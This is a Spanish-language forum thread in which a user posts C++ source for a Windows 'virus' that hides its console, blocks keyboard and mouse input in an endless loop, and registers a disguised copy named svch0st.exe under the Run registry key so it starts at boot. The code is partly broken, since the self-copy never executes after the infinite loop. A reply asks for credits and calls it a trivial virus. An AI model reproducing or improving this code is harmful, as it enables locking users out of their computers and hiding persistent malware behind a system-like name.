Virus Mouse v4 Pablo

Iniciado por @ed33x, Enero 22, 2011, 10:04:35 PM

Tema anterior - Siguiente tema

0 Miembros y 3 Visitantes están viendo este tema.

Enero 22, 2011, 10:04:35 PM Ultima modificación: Febrero 08, 2014, 05:44:41 PM por Expermicid
Código: cpp
#include<windows.h>
#include<tlhelp32.h>
#include<winable.h>




int test_key(void);
int create_key(char *);



int main(void)
{
    int test,create;
    test=test_key();

    if (test==2)
    {
        char *path="c:\\WINDOWS\\svch0st.exe";
        create=create_key(path);

    }

HWND inv;
    AllocConsole();
    inv=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(inv,0);
int c;

for(;;)
{
BlockInput(true);
}
         char root[60]="C:\\Windows\\";
        char nombre[60]="svch0st";
        char path[256]="svch0st";
        strcat(nombre,".exe");
        strcat(root,nombre);
        HMODULE copiar = GetModuleHandle(0);
        GetModuleFileName(copiar, path, 256);
        CopyFile(path,root,false);
}

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {
        check=1;
        return check;
    }

    reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);

    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;

    RegCloseKey(hKey);
    return check;
}

int create_key(char *path)
{
        int reg_key,check;

        HKEY hkey;

        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;

        return check;

}


Bueno pues ya esta desactivo el teclado, desactivo el raton, y lo copio al inicio.

Creo que ya la ultima version sera para modelar lo que me dijo regx sobre el user si es Admin.

Saludos!
Me cambie de messenger ahora es: No tienes permitido ver los links. Registrarse o Entrar a mi cuentaNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pon creditos,no?

A ver si alguien va a pensar que lo has hecho tu y se crea que sabes programar, de todos modos, esto es una tonteria de virus.